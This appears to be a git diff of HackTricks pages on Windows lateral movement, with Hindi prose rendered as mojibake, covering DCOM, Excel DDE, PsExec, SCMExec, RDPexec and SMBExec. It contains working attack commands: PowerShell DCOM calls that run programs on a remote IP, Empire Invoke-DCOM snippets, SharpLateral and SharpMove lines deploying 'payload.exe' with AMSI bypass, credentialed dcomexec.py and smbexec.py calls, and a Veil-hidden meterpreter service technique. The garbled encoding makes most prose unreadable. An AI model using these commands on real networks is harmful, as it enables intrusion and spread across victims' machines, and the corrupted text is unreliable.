-рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдЗрдВрд╕реНрдЯреЗрдВрдЯрд┐рдПрдЯ рдХрд░рдиреЗ рдФрд░ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрджрд╛рд╣рд░рдг PowerShell рдХрдорд╛рдВрдб рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдереЗ: -```powershell +рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдЗрдВрд╕реНрдЯреЗрдВрд╢рд┐рдПрдЯ рдХрд░рдиреЗ рдФрд░ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрджрд╛рд╣рд░рдг PowerShell рдХрдорд╛рдВрдб рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдереЗ: +```bash +# Example $com = [Type]::GetTypeFromCLSID("", "") $obj = [System.Activator]::CreateInstance($com) $item = $obj.Item() $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0) + +# Need to upload the file to execute +$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100")) +$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7") ``` ### Lateral Movement with Excel DCOM Objects Lateral movement рдХреЛ DCOM Excel objects рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, DCOM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ lateral movement рдХреЗ рд▓рд┐рдП Excel DDE рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рдЪрд░реНрдЪрд╛ рдкрдврд╝рдирд╛ рдЙрдЪрд┐рдд рд╣реИ [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom)ред Empire рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдПрдХ PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ DCOM objects рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ Excel рдХреЗ рд▓рд┐рдП remote code execution (RCE) рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рдиреАрдЪреЗ [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) рдкрд░ рдЙрдкрд▓рдмреНрдз рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реЗ рд╕реНрдирд┐рдкреНрдкреЗрдЯреНрд╕ рд╣реИрдВ, рдЬреЛ RCE рдХреЗ рд▓рд┐рдП Excel рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рдХреЛ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВ: -```powershell +```bash # Detection of Office version elseif ($Method -Match "DetectOffice") { $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") @@ -78,23 +83,35 @@ $Obj.DisplayAlerts = $false $Obj.DDEInitiate("cmd", "/c $Command") } ``` -### Automation Tools for Lateral Movement +### Lateral Movement рдХреЗ рд▓рд┐рдП рдСрдЯреЛрдореЗрд╢рди рдЯреВрд▓реНрд╕ -рдЗрди рддрдХрдиреАрдХреЛрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреЛ рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: +рдЗрди рддрдХрдиреАрдХреЛрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреЛ рдЯреВрд▓реНрд╕ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: - **Invoke-DCOM.ps1**: рдПрдХ PowerShell рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬреЛ Empire рдкреНрд░реЛрдЬреЗрдХреНрдЯ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рд╣реИ, рдЬреЛ рджреВрд░рд╕реНрде рдорд╢реАрдиреЛрдВ рдкрд░ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЛрдВ рдХреЛ рд╕рд░рд▓ рдмрдирд╛рддреА рд╣реИред рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ Empire GitHub рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред -- **SharpLateral**: рдПрдХ рдЙрдкрдХрд░рдг рдЬреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдЗрд╕ рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +- **SharpLateral**: рдПрдХ рдЯреВрд▓ рдЬреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` +- [SharpMove](https://github.com/0xthirteen/SharpMove): +```bash +SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true +``` ## Automatic Tools -- Powershell рд╕реНрдХреНрд░рд┐рдкреНрдЯ [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) рдЕрдиреНрдп рдорд╢реАрдиреЛрдВ рдореЗрдВ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдЯрд┐рдкреНрдкрдгреА рдХрд┐рдП рдЧрдП рддрд░реАрдХреЛрдВ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред +- The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) рдЕрдиреНрдп рдорд╢реАрдиреЛрдВ рдореЗрдВ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдЯрд┐рдкреНрдкрдгреА рдХрд┐рдП рдЧрдП рддрд░реАрдХреЛрдВ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +- рдЖрдк DCOM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреВрд░рд╕реНрде рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Impacket рдХрд╛ `dcomexec.py` рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +```bash +dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami" +``` - рдЖрдк [**SharpLateral**](https://github.com/mertdas/SharpLateral) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` +- рдЖрдк [**SharpMove**](https://github.com/0xthirteen/SharpMove) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +```bash +SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true +``` ## рд╕рдВрджрд░реНрдн - [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index 7a01a8efe..7f6387c74 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -1,4 +1,4 @@ -# PsExec/Winexec/ScExec +# PsExec/Winexec/ScExec/SMBExec {{#include ../../banners/hacktricks-training.md}} @@ -13,24 +13,37 @@ ### **PsExec рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛** -рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдкреЗрд▓реЛрдб (рдЬреЛ msfvenom рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП Veil рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЫрд┐рдкрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ), рдЬрд┐рд╕рдХрд╛ рдирд╛рдо 'met8888.exe' рд╣реИ, рдЬреЛ рдПрдХ рдореАрдЯрд░рдкреНрд░реАрдЯрд░ рд░рд┐рд╡рд░реНрд╕_http рдкреЗрд▓реЛрдб рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдг рдЙрдард╛рдП рдЬрд╛рддреЗ рд╣реИрдВ: +рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдкреЗрд▓реЛрдб рд╣реИ (рдЬреЛ msfvenom рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП Veil рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЫрд┐рдкрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ), рдЬрд┐рд╕рдХрд╛ рдирд╛рдо 'met8888.exe' рд╣реИ, рдЬреЛ рдПрдХ рдореАрдЯрд░рдкреНрд░реАрдЯрд░ рд░рд┐рд╡рд░реНрд╕_http рдкреЗрд▓реЛрдб рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдг рдЙрдард╛рдП рдЬрд╛рддреЗ рд╣реИрдВ: -- **рдмрд╛рдЗрдирд░реА рдХреА рдХреЙрдкреА рдХрд░рдирд╛**: рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЛ рдПрдХ рдХрдорд╛рдВрдб рдкреНрд░реЙрдореНрдкреНрдЯ рд╕реЗ ADMIN$ рд╢реЗрдпрд░ рдкрд░ рдХреЙрдкреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрд╣реАрдВ рднреА рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рдЫрд┐рдкрд╛ рд░рд╣реЗред +- **рдмрд╛рдЗрдирд░реА рдХреА рдХреЙрдкреА рдХрд░рдирд╛**: рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЛ рдХрдорд╛рдВрдб рдкреНрд░реЙрдореНрдкреНрдЯ рд╕реЗ ADMIN$ рд╢реЗрдпрд░ рдореЗрдВ рдХреЙрдкреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрд╣реАрдВ рднреА рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рдЫрд┐рдкрд╛ рд░рд╣реЗред +- рдмрд╛рдЗрдирд░реА рдХреА рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рд╕реАрдзреЗ рддрд░реНрдХреЛрдВ рд╕реЗ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `powershell.exe` рдпрд╛ `cmd.exe` рдЬреИрд╕реЗ LOLBAS рдмрд╛рдЗрдирд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИред рдЙрджрд╛рд╣рд░рдг: `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"` - **рдПрдХ рд╕реЗрд╡рд╛ рдмрдирд╛рдирд╛**: Windows `sc` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЬреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ Windows рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдХреНрд╡реЗрд░реА, рдмрдирд╛рдиреЗ рдФрд░ рд╣рдЯрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, "meterpreter" рдирд╛рдордХ рдПрдХ рд╕реЗрд╡рд╛ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ рдЬреЛ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдмрд╛рдЗрдирд░реА рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИред -- **рд╕реЗрд╡рд╛ рд╢реБрд░реВ рдХрд░рдирд╛**: рдЕрдВрддрд┐рдо рдЪрд░рдг рдореЗрдВ рд╕реЗрд╡рд╛ рдХреЛ рд╢реБрд░реВ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рд╕рдВрднрд╡рддрдГ "рдЯрд╛рдЗрдо-рдЖрдЙрдЯ" рддреНрд░реБрдЯрд┐ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдмрд╛рдЗрдирд░реА рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдирд╣реАрдВ рд╣реИ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛрдб рд▓реМрдЯрд╛рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣рддреА рд╣реИред рдпрд╣ рддреНрд░реБрдЯрд┐ рдорд╣рддреНрд╡рд╣реАрди рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рд╛рдердорд┐рдХ рд▓рдХреНрд╖реНрдп рдмрд╛рдЗрдирд░реА рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╣реИред +- **рд╕реЗрд╡рд╛ рд╢реБрд░реВ рдХрд░рдирд╛**: рдЕрдВрддрд┐рдо рдЪрд░рдг рдореЗрдВ рд╕реЗрд╡рд╛ рд╢реБрд░реВ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рд╕рдВрднрд╡рддрдГ "рдЯрд╛рдЗрдо-рдЖрдЙрдЯ" рддреНрд░реБрдЯрд┐ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдмрд╛рдЗрдирд░реА рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдирд╣реАрдВ рд╣реИ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛрдб рд▓реМрдЯрд╛рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣рддреА рд╣реИред рдпрд╣ рддреНрд░реБрдЯрд┐ рдорд╣рддреНрд╡рд╣реАрди рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рд╛рдердорд┐рдХ рд▓рдХреНрд╖реНрдп рдмрд╛рдЗрдирд░реА рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╣реИред -Metasploit рд╢реНрд░реЛрддрд╛ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░рдиреЗ рдкрд░ рдкрддрд╛ рдЪрд▓реЗрдЧрд╛ рдХрд┐ рд╕рддреНрд░ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЖрд░рдВрдн рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +Metasploit рд╢реНрд░реЛрддрд╛ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░рдиреЗ рд╕реЗ рдкрддрд╛ рдЪрд▓реЗрдЧрд╛ рдХрд┐ рд╕рддреНрд░ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЖрд░рдВрдн рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред [Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx). Find moe detailed steps in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) -**рдЖрдк Windows Sysinternals рдмрд╛рдЗрдирд░реА PsExec.exe рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:** +- рдЖрдк **Windows Sysinternals рдмрд╛рдЗрдирд░реА PsExec.exe** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ![](<../../images/image (928).png>) -рдЖрдк [**SharpLateral**](https://github.com/mertdas/SharpLateral) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрд╛ рдЗрд╕реЗ webddav рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░реЗрдВ: +```bash +\\live.sysinternals.com\tools\PsExec64.exe -accepteula +``` +- рдЖрдк [**SharpLateral**](https://github.com/mertdas/SharpLateral) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName ``` +- рдЖрдк [**SharpMove**](https://github.com/0xthirteen/SharpMove) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +```bash +SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService +SharpMove.exe action=startservice computername=remote.host.local servicename=TestService +``` +- рдЖрдк **Impacket's `psexec` рдФрд░ `smbexec.py`** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/rdpexec.md b/src/windows-hardening/lateral-movement/rdpexec.md new file mode 100644 index 000000000..4d263c3a1 --- /dev/null +++ b/src/windows-hardening/lateral-movement/rdpexec.md @@ -0,0 +1,15 @@ +# RDPexec + +{{#include ../../banners/hacktricks-training.md}} + +## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ + +**RDPexec** рдореВрд▓ рд░реВрдк рд╕реЗ RDP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдХреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред + +рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: + +{{#ref}} +../../network-services-pentesting/pentesting-rdp.md +{{#endref}} + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/scmexec.md b/src/windows-hardening/lateral-movement/scmexec.md new file mode 100644 index 000000000..0b0656fee --- /dev/null +++ b/src/windows-hardening/lateral-movement/scmexec.md @@ -0,0 +1,15 @@ +# DCOM Exec + +{{#include ../../banners/hacktricks-training.md}} + +## SCM + +**SCMExec** рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ Service Control Manager (SCM) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреВрд░рд╕реНрде рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реЗрд╡рд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдЪрд▓рд╛рддреА рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдирд┐рдпрдВрддреНрд░рдгреЛрдВ, рдЬреИрд╕реЗ User Account Control (UAC) рдФрд░ Windows Defender рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреА рд╣реИред + +## Tools + +- [**https://github.com/0xthirteen/SharpMove**](https://github.com/0xthirteen/SharpMove): + +SharpMove.exe action=scm computername=remote.host.local command="C:\windows\temp\payload.exe" servicename=WindowsDebug amsi=true + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md deleted file mode 100644 index a45cd0ea4..000000000 --- a/src/windows-hardening/lateral-movement/smbexec.md +++ /dev/null @@ -1,38 +0,0 @@ -# SmbExec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - - -## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ - -**Smbexec** рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ Windows рд╕рд┐рд╕реНрдЯрдо рдкрд░ рджреВрд░рд╕реНрде рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, **Psexec** рдХреЗ рд╕рдорд╛рди, рд▓реЗрдХрд┐рди рдпрд╣ рд▓рдХреНрд╖рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХреЛрдИ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓реЗрдВ рдирд╣реАрдВ рд░рдЦрддрд╛ рд╣реИред - -### **SMBExec** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдореБрдЦреНрдп рдмрд┐рдВрджреБ - -- рдпрд╣ рд▓рдХреНрд╖рд┐рдд рдорд╢реАрди рдкрд░ рдПрдХ рдЕрд╕реНрдерд╛рдпреА рд╕реЗрд╡рд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, "BTOBTO") рдмрдирд╛рдХрд░ cmd.exe (%COMSPEC%) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдмрд┐рдирд╛ рдХрд┐рд╕реА рдмрд╛рдЗрдирд░реА рдХреЛ рдЧрд┐рд░рд╛рдПред -- рдЗрд╕рдХреЗ рдЫрд┐рдкреЗ рд╣реБрдП рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдпрд╣ рдкреНрд░рддреНрдпреЗрдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд▓рд┐рдП рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдЧреИрд░-рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ "рд╢реЗрд▓" рдХрд╛ рдПрдХ рд░реВрдк рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -- **Smbexec** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд┐рдЦрддрд╛ рд╣реИ: -```bash -smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 -``` -### рдмрд╛рдЗрдирд░реА рдХреЗ рдмрд┐рдирд╛ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ - -- **Smbexec** рд╕реЗрд╡рд╛ binPaths рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реАрдзреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд▓рдХреНрд╖реНрдп рдкрд░ рднреМрддрд┐рдХ рдмрд╛рдЗрдирд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред -- рдпрд╣ рд╡рд┐рдзрд┐ Windows рд▓рдХреНрд╖реНрдп рдкрд░ рдПрдХ рдмрд╛рд░ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ Metasploit рдХреЗ `web_delivery` рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдиреЗ рд╕реЗ PowerShell-рд▓рдХреНрд╖рд┐рдд рд░рд┐рд╡рд░реНрд╕ 